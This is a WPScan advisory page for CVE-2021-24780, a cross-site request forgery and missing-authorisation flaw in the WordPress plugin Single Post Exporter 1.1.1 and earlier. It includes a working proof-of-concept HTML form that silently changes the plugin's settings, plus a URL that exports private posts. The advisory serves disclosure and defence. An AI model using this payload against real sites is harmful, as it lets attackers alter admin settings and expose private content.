WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Single Post Exporter <= 1.1.1 - Plugin's Settings Update via CSRF

Description

The plugin does not have CSRF checks when saving its settings, which could allow attackers to make a logged in admin change them via a CSRF attack and give access to the export feature to any role such as subscriber. Subscriber users would then be able to export an arbitrary post/page (such as private and password protected) via a direct URL

Edit: there are two issues: CSRF and lack of authirsartion on the export feature (even unauthorised user can export arbitrary post/page)

Proof of Concept

To allow Subscriber to export post and page via CSRF

<html>
  <body>
    <form action="https://example.com/wp-admin/options-general.php?page=single_post_exporter_settings" method="POST">
      <input type="hidden" name="userRole[]" value="administrator" />
      <input type="hidden" name="userRole[]" value="subscriber" />
      <input type="hidden" name="export_post[]" value="post" />
      <input type="hidden" name="export_post[]" value="page" />
      <input type="hidden" name="submit_export" value="Save Changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Then, to export a post/page as a subscriber: https://example.com/wp-admin/admin.php?action=export_data&post=1537 

Affects Plugins

single-post-exporter
No known fix - plugin closed

References

CVE
CVE-2021-24780

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Francesco Carlucci

Submitter

Francesco Carlucci

Submitter website
https://carluc.ci
Submitter twitter
francecarlucci
Verified

Yes

WPVDB ID
8764e550-4127-471e-84e6-494d6106a3b0

Timeline

Publicly Published

2021-11-15 (about 6 months ago)

Added

2021-11-15 (about 6 months ago)

Last Updated

2022-04-11 (about 1 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceDisclosure policy
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us